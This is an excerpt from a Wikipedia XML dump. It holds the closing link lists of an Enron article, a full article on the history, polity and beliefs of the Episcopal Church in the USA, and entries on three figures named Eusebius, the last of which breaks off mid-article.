* [[Corporate governance]]
* [[Creative accounting]]
* [[EnronOnline]]
* [[Azurix]]
* [[Dabhol Power Company]]
* [[List of corporate executives charged with crimes]]
* [[List of notable business failures]]
* [[Arthur Andersen LLP v. United_States]]

==Bibliography==
* [[Judith Haney]], ''Enron's Bust:Was it the result of Over-Confidence or a Confidence Game?'' (USNewsLink, 2001) http://www.usnewslink.com/enron.htm
* [[Mimi Swartz]], [[Sherron Watkins]], ''Power Failure: The Inside Story of the Collapse of Enron'' (Doubleday, 2003) ISBN 0385507879 
* [[Bethany McLean]], [[Peter Elkind]], ''[[Enron: The Smartest Guys in the Room|Smartest Guys in the Room: The Amazing Rise and Scandalous Fall of Enron]]'' (Portfolio, 2003) ISBN 1591840082 
* [[Robert Bryce (writer)|Robert Bryce]], ''Pipe Dreams: Greed, Ego, and the Death of Enron'' (PublicAffairs, 2002) ISBN 158648138X 
* [[Lynn Brewer]], [[Matthew Scott Hansen]], ''House of Cards, Confessions of An Enron Executive'' (Virtualbookworm.com Publishing, 2002) ISBN 1589392485  ISBN 1589392485
* [[Kurt Eichenwald]], ''[[Conspiracy of Fools|Conspiracy of Fools: A True Story]]'' (Broadway Books, 2005) ISBN 0767911784
* [[Peter C. Fusaro]], .[[Ross M. Miller]], ''What Went Wrong at Enron: Everyone's Guide to the Largest Bankruptcy in U.S. History'' (Wiley, 2002), ISBN 0471265748
* [[Loren Fox]], ''Enron: The Rise and Fall.'' (Hoboken, N.J.: Wiley, 2003)

==External links==
*[http://www.enron.com The Enron homepage]
*[http://www.prismaenergy.com] - homepage of Prisma Energy International Inc.
*[http://www.crosscountryenergy.com]- homepage of CrossCountry Energy L.L.C.
*[http://www.portlandgeneral.com]- homepage of Portland General Electric Company
*[http://www.northernnaturalgas.com]- homepage of Northern Natural Gas Company
*[http://www.houstonarchitecture.info/ShowBuilding.php?ID=78 The former Enron Building from Houston Architecture Info.]
*[http://www.smu.edu/enron Enron experts for comment]
===Accounting===
*[http://www.nysscpa.org/cpajournal/2003/0403/features/f042403.htm CPA Journal - Enron and the Raptors]
*[http://www.riskglossary.com/link/enron.htm Enron Debacle] is an informative account of events leading up to the fall of Enron.
*[http://www.moodyskmv.com/research/UAL.html Moody's KMV Default Case Studies]

===General===
*[http://www.guardian.co.uk/enron/ Guardian Unlimited Special Report: Enron]
*[http://news.bbc.co.uk/1/hi/in_depth/business/2002/enron/default.stm BBC News In Depth: Enron]
*[http://www.HavenWorks.com/business/research/enron Enron News, News Sources, News Searches, and Business Research:]
*[http://www.democracynow.org/article.pl?sid=03/04/07/0254256&amp;mode=thread&amp;tid=29 Stunning Depths of Government Collaboration with Enron Revealed] - (''[[Democracy Now!]]'')
*[http://www.seen.org/pages/press_releases/enronrelease0302.shtml Enron's Pawns: How Public Institutions Bankrolled Enron's Globalization Game] - Press release of report by the ''[[Institute for Policy Studies]]''.
*[http://cbs5.com/news/local/2004/06/16/Federal_Officials_Want_California_to_Pay_Enron.html Feds order a quarter-billion refund to Enron]
*[http://www.forbes.com/2002/01/14/0114topnews.html At Enron, ignorance was bliss]

===Tapes===
*[http://www.enrontapes.com/files.html The Enron Tapes] - Public/Redacted Audio Files and Public/Redacted Transcripts
*[http://www.cbsnews.com/stories/2004/06/01/eveningnews/main620626.shtml Enron traders caught on tape] - Gloating about manipulating California's energy market. (''[[CBS Evening News]]'')
*[http://www.cbsnews.com/stories/2004/06/02/eveningnews/main620795.shtml More Enron Tapes]
*[http://www.cbsnews.com/stories/2004/06/16/eveningnews/main623569.shtml Even More Enron tapes]

===Other===
*[http://biz.yahoo.com/ic/10/10521.html Yahoo! - Enron Corp. Company Profile]
*[http://www.elawforenron.com/ Document Repository for Enron Bankruptcy]
*[http://www.riskbook.com/link_topic/history_best_enron_books.htm The Best Enron Books] reviews books on Enron.
*[http://www.chron.com/content/news/photos/02/04/11/letter/popup2.htm Suicide note of Enron employee J. Clifford Baxter]  (Chron.com)
*[http://www.nrunwrekords.com NRun Wreckords: 'Corporate America']

===Directories===
* [http://dmoz.org/Society/Issues/Business/Allegedly_Unethical_Firms/Enron/ Open Directory Project - Enron] directory category
* [http://search.looksmart.com/p/browse/us1/us317829/us317861/us65309/us282395/us10090036/us10104791/us10041501/ LookSmart - Enron Case] directory category
* [http://dir.yahoo.com/Business_and_Economy/Business_to_Business/Energy/Enron/History/ Yahoo - Enron History] directory category

[[Category:Enron|*]][[Category:Defunct companies of the United States]]

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  <page>
    <title>Episcopal Church in the United States of America</title>
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      <comment>/* Colonies and Revolution: 1607-1789 */  link terms</comment>
      <text xml:space="preserve">[[Image:washingtonnationalcathedral.jpg|thumb|250px| [[National Cathedral|The Cathedral Church of Saint Peter and Saint Paul]] in [[Washington DC]] is the [[National Cathedral]] of the Episcopal Church in the United States of America.]]
The '''Episcopal Church''' or the '''Protestant Episcopal Church in the United States of America''' is the American [[national church]] of the [[Anglicanism|Anglican]] [[Anglican communion|Communion]]. It includes 108 [[Dioceses of the Episcopal Church in the United States of America|dioceses]] in the [[United States]], the [[US Virgin Islands]], [[Haiti]], [[Taiwan]], [[Colombia]], the [[Dominican Republic]], [[Ecuador]], and [[Honduras]], and has an extra-provincial relationship with the dioceses of [[Puerto Rico]] and [[Venezuela]]. 

In the United States the Church has a membership of approximately 2.3 million, and has counted among its members more than a quarter of all [[President of the United States|presidents of the United States]] (see: [[List of U.S. Presidential religious affiliations]]).

The full legal name of the national church corporate body is &lt;b&gt;The Domestic and Foreign Missionary Society of the Protestant Episcopal Church in the United States of America&lt;/b&gt;, but this name is rarely used. It is sometimes known as the '''Episcopal Church in the USA''', abbreviated '''ECUSA'''.

The church has its national offices in [[New York City]] but its leader, the [[List of Presiding Bishops in the Episcopal Church in the United States of America|Presiding Bishop]], is installed ceremonially at [[Washington National Cathedral]]. Its governing body, the general convention, has no fixed home today, meeting at a different site each time it convenes. The incumbent Presiding Bishop is the Most Rev. [[Frank Tracy Griswold]] III.

Like many other Anglican churches, it has entered into [[full communion]] with Lutherans, in this case with the [[Evangelical Lutheran Church in America]].

==History==
===Colonies and Revolution: 1607-1789===
[[Image:Episcopal_Church_USA_Shield.png|thumb|right|175px|Shield of the Episcopal Church in the United States of America]]
The first [[congregation (worship)|congregation]] of what would become the Episcopal Church in the United States was founded in [[Jamestown]], [[Virginia]], in 1607 as part of the [[Church of England]].  From there, the church spread throughout the American colonies. 

The Church of England became the established church in [[Virginia]] in 1609, in the lower part of [[New York]] in 1693; in [[Maryland]] in 1702, in [[South Carolina]] in 1706, and in [[Georgia (U.S. state)|Georgia]] in 1758. This was a matter of local taxes being given to the [[vestry]] for church use. Virginia attempted to make requirements about attendance, but with a severe shortage of clergy, they were not enforced. These vestries were part of the Church of England, whose clergy reported to the Bishop of London (from 1635) through appointed &quot;commissaries&quot; especially  [[James Blair (clergyman)|James Blair]], who served 1685-1743. After 1702 the &quot;[[Society for the Propagation of the Gospel in Foreign Parts]]&quot; (SPG) began missionary activity throughout the colonies.  The ministers were few, the [[glebe|glebes]] small, the salaries inadequate, and the people quite uninterested in religion, as the vestry became in effect a kind of local government. One historian has explained the workings of the [[parish]] [Olmstead p 45]:
&lt;blockquote&gt;
The parish was a local unit concerned with such matters as the conduct and support of the parish church, the supervision of morals, and the care of the poor. Its officers, who made up the vestry, were ordinarily influential and wealthy property holders chosen by a majority of the parishioners. They appointed the parish ministers, made local assessments, and investigated cases of moral offense for referral to the county court, the next higher judicatory. They also selected the church wardens, who audited the parish accounts and prosecuted morals cases. For several decades the system worked in a democratic fashion, but by the 1660's, the vestries had generally become self-perpetuating units made up of well-to-do landowners. This condition was sharply resented by the small farmers and servants.
&lt;/blockquote&gt;

The Society for the Propagation of the Gospel, with the support of the Bishop of London, wanted a bishop for the colonies. Strong opposition arose in the South, where a bishop would threaten the privileges of the lay vestry. Opponents conjured up visions of &quot;episcopal palaces, or pontifical revenues, of spiritual courts, and all the pomp, grandeur, luxury and regalia of an American Lambeth.&quot; (New York Gazette or Weekly Post Boy, March 14, 1768.) John Adams later explained, &quot;the apprehension of Episcopacy&quot; contributed to the American Revolution, capturing the attention &quot;not only of the inquiring mind, but of the common people. . . . The objection was not merely to the office of a bishop, though even that was dreaded, but to the authority of parliament, on which it must be founded.&quot;  (Bonomi, 200) On the eve of Revolution a large fraction of prominent merchants and royal appointees were Anglicans--and were [[Loyalists]]. About 27% of Anglican ministers nationwide supported independence, especially in Virginia. Almost 40% --approaching 90% in New York and New England--were loyalists. Out of 55 Anglican clergy in New York and New England, only three were Patriots, two of those being from Massachusetts. In Maryland, of the 54 clergy in 1775, only 16 remained to take oaths of allegiance to the new government.  (McConnell 2003)  William Smith made the connection explicit in a [[1762]] report to the Bishop of London. &quot;The Church is the firmest Basis of Monarchy and the English Constitution,&quot; he declared. But if dissenters of &quot;more Republican . . . Principles [with] little affinity to the established Religion and manners&quot; of England ever gained the upper hand, the colonists might begin to think of &quot;Independency and separate Government.&quot; Thus &quot;in a Political as well as religious view,&quot; Smith stated emphatically, the church should be strengthened by an American bishop and the appointment of &quot;prudent Governors who are friends of our Establishment.&quot;  (Bonomi 201) 

By [[1775]], about 300 independent congregations were reported throughout the colonies. The church was disestablished in all the states during the [[American Revolution]]. The Episcopal Church was formally separated from the Church of England in 1789 so that clergy would not be required to accept the supremacy of the [[British monarch]]. When the clergy of [[Connecticut]] elected [[Samuel Seabury]] as their [[bishop]], he sought consecration in [[England]]. The [[Oath of Supremacy]] proved too difficult a problem, so he went to [[Scotland]]; the non-juring Scottish bishops there consecrated him in [[Aberdeen]] on [[November 14]], [[1784]], making him the first Episcopal bishop outside the [[British Isles]].  The American bishops thus descend in the [[historic episcopate|Apostolic succession]] through the non-juring bishops of Scotland, and to this day the nine crosses which symbolise ECUSA's nine original dioceses in its arms form a [[Saint Andrew's Cross]], commemorating the Scottish link.  The Church originally took the name of the ''&quot;Protestant Episcopal&quot; Church in the United States of America'' so as to distinguish itself from the other major episcopal Church present in the states at the time, the [[Roman Catholic Church]].

===The Church in the American Republic (1789-present)===

As the United States grew, new dioceses were established, as well as the [[Convocation of American Churches in Europe]].

==Church Polity==
The basic unit of governance in the Episcopal Church is the [[diocese]].  The ordained leader of the diocese is a [[bishop]]. Groups of dioceses constitute provinces but unlike in other Anglican Churches the provinces of the Episcopal Church do not have an [[archbishop]] with jurisdiction over the other bishops in his or her province.  Other ordained leaders include priests (or presbyters) and deacons.  Laity participate fully in the life and governance of the Church. 

The Church holds its [[General Convention of the Episcopal Church in the United States of America|General Convention]] every three years. The General Convention is bicameral. There is the House of Bishops and the House of Deputies, which is made up of priests, deacons, and lay persons.  Each diocese elects four clergy and four laypeople as deputies. The head of the House of Bishops is the [[Presiding Bishop]] of the Episcopal Church. The current presiding bishop is The Most Reverend [[Frank Tracy Griswold]], whose term ends in 2006. The head of the House of Deputies is the president who is either a lay person or priest. The last General Convention was held in [[2003]]. The next one will be held in 2006, in [[Columbus, Ohio]].

===Provinces===
The Episcopal Church in the United States has nine ecclesiastical provinces, numbered as follows (Divided by State, not Diocese). 

#[[New England]]
#[[New York]], [[New Jersey]], [[Haiti]], [[United States Virgin Islands]], and [[Convocation of American Churches in Europe]]
#[[Delaware]], [[Washington, D.C.|District of Columbia]], [[Maryland]], [[Pennsylvania]], [[Virginia]], [[West Virginia]]
#[[Alabama]], [[Georgia (U.S. state)|Georgia]], [[Florida]], [[Kentucky]], eastern [[Louisiana]], [[Mississippi]], [[North Carolina]], [[South Carolina]], [[Tennessee]]
#[[Illinois]], [[Indiana]], [[Michigan]], eastern [[Missouri]], [[Ohio]], [[Wisconsin]]
#[[Colorado]], [[Iowa]], [[Minnesota]], [[Montana]], [[Nebraska]], [[North Dakota]], [[South Dakota]], [[Wyoming]]
#[[Arkansas]], [[Kansas]], western [[Louisiana]], western [[Missouri]], [[New Mexico]], [[Oklahoma]], [[Texas]], 
#[[Alaska]], [[Arizona]], [[California]], [[Hawaii|Hawai‘i]], [[Idaho]], [[Oregon]], [[Nevada]], [[Utah]], [[Taiwan]], [[Washington]]
#[[Colombia]], [[Ecuador]], [[Honduras]], [[Puerto Rico]], [[Dominican Republic]], [[Venezuela]]

Each province is subdivided into dioceses. However, the senior bishop of a province is not an archbishop nor are there any archbishops in the Episcopal Church in the United States. See:
[[Dioceses of the Episcopal Church in the United States of America]]

===Congregations===
Each diocese is composed of [[congregation (worship)|congregations]] of various kinds: [[cathedral|cathedrals]], [[parish|parishes]], [[mission]]s and [[chapel]]s.

A [[cathedral]] acts as the [[motherchurch|mother church]] of the diocese, and is often the home of a parish as well. The cathedral of each diocese is the seat of the bishop of that diocese. Most, but not all dioceses have a cathedral. A few have two cathedrals or a cathedral and a ''pro-cathedral''. Others designate a conference or retreat centre chapel as a cathedral. Usually a cathedral is led by a priest called a [[dean (religion)|dean]]. A cathedral's lay governing body is known as a chapter, although some cathedrals have a [[vestry]] as well.

Most congregations are parishes. A parish is a self-sustaining congregation, not financially supported by the diocese. The ordained leader of a parish is a priest, usually called a [[rector]].  The two primary lay leaders of each congregation are the [[churchwarden|wardens]], sometimes referred to as senior and junior.  In addition to the rector and wardens, there are additional lay persons elected to support the mission and ministry of the congregation.  The rector, the wardens, and these laity comprise what is known as the vestry.  The number of these additional laity vary depending on the size of the congregation.

A mission is a congregation supported in part by the diocese. It is governed similarly to a parish but is more directly responsible to its diocese and bishop. A mission is led by a clergyperson usually called a [[vicar]]. Instead of a vestry, a mission's lay leadership is called either a mission committee or a bishop's committee.

A chapel may be connected to another institution, such as a school or hospital or it may be a congregation that is active for only part of the year. The latter are usually found in resort areas and are often called &quot;summer chapels&quot;. The clergyperson in charge of a chapel is usually known as a [[chaplain]], but a summer chapel may instead have a vicar.

==Beliefs and Practices==
===Overview===
The Episcopal Church is considered often a middle-road between the [[Protestant]] Church and the [[Roman Catholic Church]].  The liturgy, or the practice of the people in worship, resembles the [[Roman Catholic Church]], distinguished by the use of the [[Book of Common Prayer]] (see below).  Within the Episcopal Church there are varying degrees of liturgical practice.  Often a congregation or particular service is commonaly called &quot;low church&quot; or &quot;high church&quot;.  In theory, a &quot;high church&quot; congregation would embellish the basic worship with more specialized ritual. In contrast, a &quot;low church&quot; would have less embellishment, or may incorporate other embellishments such as praise and worship music.  Though most Episcopalians refer to their churches by these lables, often there is overlapping.  Within the Episcopal Church one finds praise and worship music, Anglican chant, liturgical dance, charismatic hand postures, robed clergy, and clergy in street clothing. As varied as services can be, the central binding aspect is the Book of Common Prayer or supplemental liturgies.

The Episcopal Church holds to the [[Nicene Creed]] as the main statement of faith, however the Church finds the [[Apostle's Creed]] sufficient in Ecumenical matters.  

====Saints====
The concept of &quot;Saint&quot; in the Episcopal Church is highly influenced by the Catholic tradition.  The level of veneration given to Saints is, in general, much more Protestant.  In general, Episcopalians do not pray to or invoke Saints as intercessors.  The Saints are used as examples in history of good Christian men and women instead.  With that understanding, one sees a wider variety of people thought of as &quot;Saints&quot; in the Episcopal Church, such as [[Martin Luther King]] or [[Samuel Seabury]].  In addition, the Church holds that all members are Saints of God, and hold the potential to be an example to others.  The Episcopal Church has a book called &quot;Lesser Feasts and Fasts&quot; which containes feast days for the various men and women the Church wishes to honor.

====Liberal and Conservative====
The theologies of various doctrines are often varied within the Episcopal Church.  There are traditional standings held by the Church, yet theologians with more liberal interpretations.  The Episcopal Church prides itself in allowing a place for both sides to be included.  In general, however, members of the Episcopal Church are moderate to liberal on most social issues, and mainline to liberal on some theological issues.

===The Book of Common Prayer===
'''[[Image:Bcp79.jpg|thumbnail|right|1979 ''Book of Common Prayer'']]'''&lt;!--an open book might be a better picture than a closed one, and perhaps the red binding found in church editions would be better than the black one found on personal editions?--&gt;
The Episcopal Church publishes its own [[Book of Common Prayer]] (BCP), containing most of the worship services (or &quot;liturgies&quot;) used in the Episcopal Church. Because of its wide-spread use in the church, the BCP is both a reflection of and a source of theology for Episcopalians.  The current edition dates from [[1979]] and represents more than just a revision of earlier books. It is marked by an attempt to return to practices of the early church, full lay participation in all services, and the recovery of the [[Eucharist]] as the principal service of the church. 

Previous American BCPs were issued in [[1789]], [[1892]], and [[1928]]. (A proposed BCP was issued in [[1786]] but not adopted.) The BCP is in the [[public domain]]; however, any new revisions of the BCP are copyrighted until they are approved by the General Convention. After this happens, the BCP is placed into the public domain.

==See also==
*[[List of Presiding Bishops in the Episcopal Church in the United States of America|Complete List of Presiding Bishops]]
*[[Anglican Communion]]
*[[Anglican Communion Network]]
*[[Churches Uniting in Christ]]
*[[Anglo-Catholicism]]

===Colleges Affiliated with the Episcopal Church===
*[[Bard College]], [[Annandale-on-Hudson, New York]]
*[[Clarkson College]], [[Omaha, Nebraska]]
*[[Columbia University]], [[New York, New York]]
*[[Hobart and William Smith Colleges]], [[Geneva, New York]]
*[[Kenyon College]], [[Gambier, Ohio]]
*[[St. Augustine College]], [[Chicago, Illinois]]
*[[St. Augustine's College]], [[Raleigh, North Carolina]]
*[[St. Paul's College]], [[Lawrenceville, Virginia]]
*[[Sewanee, The University of the South|University of the South]], [[Sewanee, Tennessee]]
*[[Voorhees College]], [[Denmark, South Carolina]]

===Seminaries of the Episcopal Church===
*[[Berkeley Divinity School]] at Yale, [[New Haven, Connecticut]]
*[[Bexley Hall (Seminary)]], [[Rochester, New York]] and [[Columbus, Ohio]]
*[[The Church Divinity School of the Pacific]], [[Berkeley, California]]
*[[Episcopal Divinity School]], [[Cambridge, Massachusetts]]
*[[Episcopal Theological Seminary of the Southwest]], [[Austin, Texas]]
*The [[General Theological Seminary]], [[New York City]]
*[[Nashotah House]], [[Nashotah, Wisconsin]]
*[[Seabury-Western Theological Seminary]], [[Evanston, Illinois]]
*School of Theology at [[Sewanee, The University of the South|University of the South]], [[Sewanee, Tennessee]]
*[[Trinity Episcopal School for Ministry]], [[Ambridge, Pennsylvania]]
*[[Virginia Theological Seminary]], [[Alexandria, Virginia]]

== Further Reading ==
*Addison, James Thayer. (1951). ''The Episcopal Church in the United States 1789-1931''. New York: Charles Scribner's Sons.
*Albright, Raymond W. (1964). ''A History of the Protestant Episcopal Church''. New York: Macmillan.
*Butler, Diana Hochstedt. ''Standing against the Whirlwind: Evangelical Episcopalians in Nineteenth-Century America'' (1995)
*Bonomi, Patricia U. ''Under the Cope of Heaven: Religion, Society, and Politics in Colonial America'' (1988)
*Chorley, Edward Clowes. (1946). ''Men and Movements in the American Episcopal Church''. New York: Charles Scribner's Sons.
* Gough, Deborah Mathias. ''Christ Church, Philadelphia: The Nation's Church in a Changing City'' (1995)
* [http://www.dinsdoc.com/greene-1.htm Greene, Evarts Boutelle. &quot;The Anglican Outlook on the American Colonies in the Early Eighteenth Century.&quot; in ''American Historical Review'' 20 (October, 1914): 64-85] also in JSTOR; focus on SPG missionary work
*Hein, David. (2001). ''Noble Powell and the Episcopal Establishment in the Twentieth Century''. Urbana: University of Illinois Press.
*Hein, David, and Gardiner H. Shattuck Jr. (2005). ''The Episcopalians''. New York: Church Publishing.
*Hodges, George. ''Henry Codman Potter, Seventh Bishop of New York'' (1915)
*Manross, William Wilson. (1950). ''A History of the American Episcopal Church''. New York: Morehouse-Gorham. 
*McConnell, Michael W. &quot;Establishment and Disestablishment at the Founding, Part I: Establishment of Religion&quot; ''William and Mary Law Review'', Vol. 44, 2003
*Mullin, Robert Bruce. (1986). ''Episcopal Vision/American Reality: High Church Theology and Social Thought in Evangelical America''. New Haven: Yale Univ. Press.
*Nelson, John ''A Blessed Company: Parishes, Parsons, and Parishioners in Anglican Virginia, 1690-1776'' (2001)
*Olmstead, Clifton E. '' History of Religion in the United States'' (1960)
*Prichard, Robert W. (1999). ''A History of the Episcopal Church''. Rev. ed. Harrisburg, PA: Morehouse Publishing.
*Prichard, Robert W. (1997). ''The Nature of Salvation: Theological Consensus in the Episcopal Church, 1801-73''. Urbana: University of Illinois Press.
*Shattuck, Gardiner H., Jr. (2000). ''Episcopalians and Race: Civil War to Civil Rights''. Lexington, KY: University Press of Kentucky.
*Armentrout, Don S., &amp; Slocum, Robert Boak. (Eds.). ([1999]).'' An Episcopal Dictionary of the Church: A User Friendly Reference for Episcopalians''. New York: Church Publishing Incorporated.
*Armentrout, Don S., &amp; Slocum, Robert Boak. (1994). ''Documents of Witness: A History of the Episcopal Church, 1782-1985''. New York: Church Hymnal Corporation.
*Caldwell, Sandra M., &amp; Caldwell, Ronald J. (1993). ''The History of the Episcopal Church in America, 1607-1991: A Bibliography''. New York: Garland Publishing.
*Prichard, Robert W. (Ed.). (1986). ''Readings from the History of the Episcopal Church''. Wilton, CT: Morehouse-Barlow. 
*''The Episcopal Clerical Directory''. New York: Church Publishing.
*Wall, John N. (2000). ''A Dictionary for Episcopalians''. Boston, MA: Cowley Publications.
*Articles on leading Episcopalians, both lay (e.g., George Washington, Franklin D. Roosevelt, Frances Perkins) and ordained, in ''American National Biography''. (1999). Edited by John A. Garraty and Mark C. Carnes. New York: Oxford Univ. Press.
*''Anglican and Episcopal History'' (articles, church reviews, and book reviews)

==External links==
*[http://www.episcopalchurch.org/ The Episcopal Church]
*[http://www.episcopalchurch.org/gc/ Executive Offices of the General Convention]
*[http://www.episcopalarchives.org/ The Archives of the Episcopal Church]
*[http://justus.anglican.org/resources/bcp/bcp.htm 1979 Book of Common Prayer]
*[http://www.cuac.org/53810_43981_ENG_HTM.htm?menu=menu53912/ Association of Episcopal Colleges]
*[http://www.episcopalchurch.org/ens/ Episcopal News Service]
*[http://www.iglesiaepioscopal.org.co/ The Episcopal Church Colombia]

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[[ca:Església Episcopal]]
[[de:Episcopal Church in the USA]]
[[es:Iglesia Episcopal]]
[[fr:Église épiscopale des États-Unis d'Amérique]]
[[ja:米国聖公会]]
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  <page>
    <title>Eusebius of Alexandria</title>
    <id>10168</id>
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        <username>Martin TB</username>
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      <minor />
      <comment>Wiki [[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki syntax]]. this article is not NPOV!</comment>
      <text xml:space="preserve">'''Eusebius of Alexandria''', is an [[author]] to whom certain [[extant]] [[homilies]] are attributed.

These homilies enjoyed some renown in the [[Eastern Church]] in the sixth and seventh centuries. Their homiletical merit does not rise above mediocrity, and nothing is known of the author. In all events, he was not a [[patriarch]] of [[Alexandria]], as is affirmed in as early biography (''MPG'', lxxxvi. 1, pp. 297-310), written by one Johannes, a notary, and stating that Eusebius was called by Cyril to be his successor in the [[episcopate]]. The discourses belong probably to the fifth or sixth century, and possibly originated in Alexandria. They deal with the life of the Lord and with questions of ecclesiastical life and practise, which they resolve in a monastic-[[ascetic]] way. Their [[literary]] character is not quite clear; while most of them are adapted for public delivery, not a few bear the character of ecclesiastical pronouncements. They are printed in ''MPG,'' lxxxvi. 1, pp. 287-482, 509-536, except four included among Chrysostom's works. The fragments preserved in the so-called ''Sacra parallela'' are to be found in K. Hall's ''Fragmente vornicänischer Kirchenväter''  (''T U'', new series, v. 2, Leipzig, 1899), pp. 314-332. A homily concerning the observance of Sunday is attributed by Zahn to Eusebius of Emesa. 

Note that Eusebius of Alexandria is not the well-known historian of the [[Christianity|Christian]] church, who is [[Eusebius of Caesarea]].

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  <page>
    <title>Eusebius of Angers</title>
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      <text xml:space="preserve">'''Eusebius (Bruno) of Angers''' (died [[September 1]], [[1081]]) was bishop of [[Angers]], [[France]]. 

He first appears in the historical record as bishop of Angers at the [[synod]] of [[Reims]] in [[1049]], and for a long time had been an adherent of [[Berengar of Tours|Berengar]]'s doctrine of the Lord's Supper. As such he was regarded by Berengar himself and by his opponents [[Dietwin of Liege]], [[Durand of Troarne]], and [[Humbert]]. But when he recognized the strength of the opposition, he favored a compromise; at any rate he advised Berengar is [[1054]] to swear to the formula presented to him. 

Nevertheless Berengar considered him his friend many years later and requested him to silence a certain Galfrid Martini or to arrange a disputation. In his reply Eusebius not only regretted the whole controversy, but also stated that he would abide by the words of the Bible, according to which the bread and wine after the consecration become the body and blood of the Lord (see [[transubstantiation]]); if one asks how this can take place, the answer must be that it is not according to the order of nature but in accordance with the divine omnipotence; at any rate one must be careful not to give offense to the plain Christian. The epistle is a downright renunciation of Berengar in case he should still maintain his view.

In favor of the supposition that Eusebius changed his opinion from deference to the [[List of Counts and Dukes of Anjou|Count of Anjou]], the decided opponent of Berengar and his doctrine, it can be adduced that he did not defend Berengar against the hostilities of the court, and that for a long time he sided with this violent prince. It is also possible that the fact impressed itself upon Eusebius that the religious consciousness of the time more and more opposed Berengar. Our knowledge, however, is too fragmentary to pass a very accurate sentence.

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    <title>Eusebius of Caesarea</title>
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      <text xml:space="preserve">{{Redirect|Eusebius}}
'''Eusebius of Caesarea''' (~[[275]] &amp;ndash; [[May 30]], [[339]]) (often called ''Eusebius Pamphili'', &quot;Eusebius [the friend] of Pamphilus&quot;) was a [[Archbishop of Caesarea|bishop of Caesarea in Palestine]] and is often referred to as the father of church history because of his work in recording the history of the early [[Christianity|Christian]] church. An earlier history by [[Hegesippus]] that he referred to has not survived.

==Biography==

His exact date and place of birth are unknown, and little is known of his youth. He became acquainted with the presbyter [[Dorotheus]] in [[Antioch]] and probably received exegetical instruction from him. In [[296]] he was in [[Palestine (region)|Palestine]] and saw [[Constantine I of the Roman Empire|Constantine]] who visited the country with [[Diocletian]]. He was in [[Caesarea Palaestina|Caesarea]] when [[Agapius]] was bishop and became friendly with [[Pamphilus of Caesarea]], with whom he seems to have studied the text of the [[Bible]], with the aid of [[Origen]]'s ''Hexapla,'' and commentaries collected by Pamphilus, in an attempt to prepare a correct version.  

In [[307]] Pamphilus was imprisoned, but Eusebius continued their project. The resulting defence of Origen, in which they had collaborated, was finished by Eusebius after the death of Pamphilus and sent to the [[martyr]]s in the [[Mining|mine]]s of [[Phaeno]] in [[Egypt]]. Eusebius then seems to have gone to [[Tyre]] and later to Egypt, where he first suffered persecution.

Eusebius is next heard of as [[bishop]] of [[Caesarea Palaestina]]. He succeeded [[Agapius]], whose time of office is not known, but Eusebius must have become bishop soon after [[313]]. Nothing is known about the early years of his tenure.  When the [[First Council of Nicaea|Council of Nicaea]] met in [[325]], Eusebius was prominent in its transactions. He was not naturally a spiritual leader or theologian, but as a very learned man and a famous author who enjoyed the special favour of the emperor, he came to the fore among the 300 members of the council. The confession which he proposed became the basis of the [[Nicene Creed]].  

Eusebius was involved in the further development of the [[Arianism|Arian controversies]].  For instance, in the dispute with [[Eustathius of Antioch]], who opposed the growing influence of Origen and his practice of an [[Exegesis|allegorical exegesis]] of scripture, seeing in his theology the roots of Arianism, Eusebius, an admirer of Origen, was reproached by Eustathius for deviating from the Nicene faith, and was charged in turn with [[Sabellianism]]. Eustathius was accused, condemned and deposed at a [[synod]] in [[Antioch]]. The people of Antioch rebelled against this action, while the anti-Eustathians proposed Eusebius as the new bishop, but he declined.

After Eustathius had been removed, the Eusebians proceeded against [[Athanasius of Alexandria]], a much more dangerous opponent.  In [[334]] Athanasius was summoned before a synod in Caesarea; he did not attend. In the following year he was again summoned before a synod in Tyre at which Eusebius presided. Athanasius, foreseeing the result, went to [[Constantinople]] to bring his cause before the emperor. Constantine called the bishops to his court, among them Eusebius. Athanasius was condemned and exiled at the end of [[335]]. At the same synod, another opponent was successfully attacked: [[Marcellus of Ancyra]] had long opposed the Eusebians, and had protested against the reinstitution of Arius. He was accused of Sabellianism and deposed in [[336]]. Constantine died the next year and Eusebius did not long survive him.  Eusebius died (probably at [[Caesarea Palaestina|Caesarea]]), in [[340]] at the latest and probably on [[May 30]], [[339]].

==Works==
Of the extensive literary activity of Eusebius, a relatively large portion has been preserved. Although posterity suspected him of Arianism, Eusebius had made himself indispensable by his method of authorship; his comprehensive and careful excerpts from original sources saved his successors the painstaking labor of original research. Hence much has been preserved, quoted by Eusebius, which otherwise would have been destroyed. 

The literary productions of Eusebius reflect on the whole the course of his life. At first he occupied himself with works on Biblical criticism, under the influence of Pamphilus and probably of Dorotheus of the School of Antioch. Afterward the persecutions under [[Diocletian]] and [[Galerius]] directed his attention to the martyrs of his own time and the past. And this led him to the history of the whole Church and finally to the history of the world, which to him was only a preparation for ecclesiastical history. 

Then followed the time of the Arian controversies, and [[dogma]]tic questions came into the foreground. Christianity at last found recognition by the State; and this brought new problems&amp;mdash;apologies of a different sort had to be prepared. Lastly, Eusebius, the court theologian, wrote eulogies in praise of Constantine. To all this activity must be added numerous writings of a miscellaneous nature, addresses, letters, and the like, and exegetical works which include both commentaries and treatises on Biblical archeology and extend over the whole of his life.

===Works on Biblical text criticism===
Pamphilus and Eusebius occupied themselves with the text criticism of the [[Septuagint]] text of the [[Old Testament]] and especially of the [[New Testament]]. An edition of the Septuagint seems to have been already prepared by Origen, which, according to [[Jerome]], was revised and circulated by Eusebius and Pamphilus. For an easier survey of the material of the four Evangelists, Eusebius divided his edition of the New Testament into paragraphs and provided it with a synoptical table so that it might be easier to find the [[pericope]]s that belong together.

===The ''Chronicle''===
The two greatest historical works of Eusebius are his ''[[Chronicon (Eusebius)|Chronicle]]'' and his ''[[Church History]]''. The former (Greek, ''Pantodape historia'', &quot;Universal History&quot;) is divided into two parts. The first part (Greek, ''Chronographia'', &quot;Annals&quot;) purports to give an epitome of universal history from the sources, arranged according to nations. The second part (Greek, ''Chronikoi kanones'', &quot;Chronological Canons&quot;) attempts to furnish a synchronism of the historical material in parallel columns, the equivalent of a parallel [[timeline]].

The work as a whole has been lost in the original, but it may be reconstructed from later chronographists of the Byzantine school who made excerpts from the work with untiring diligence, especially [[George Syncellus]]. The tables of the second part have been completely preserved in a Latin translation by Jerome, and both parts are still extant in an Armenian translation. The loss of the Greek originals has given an Armenian translation a special importance; thus, the first part of Eusebius's &quot;Chronicle&quot;, of which only a few fragments exist in the Greek, has been preserved entire in [[Armenian language|Armenian]]. The &quot;Chronicle&quot; as preserved extends to the year 325. It was written before the &quot;Church History.&quot;

===The ''Church History''===
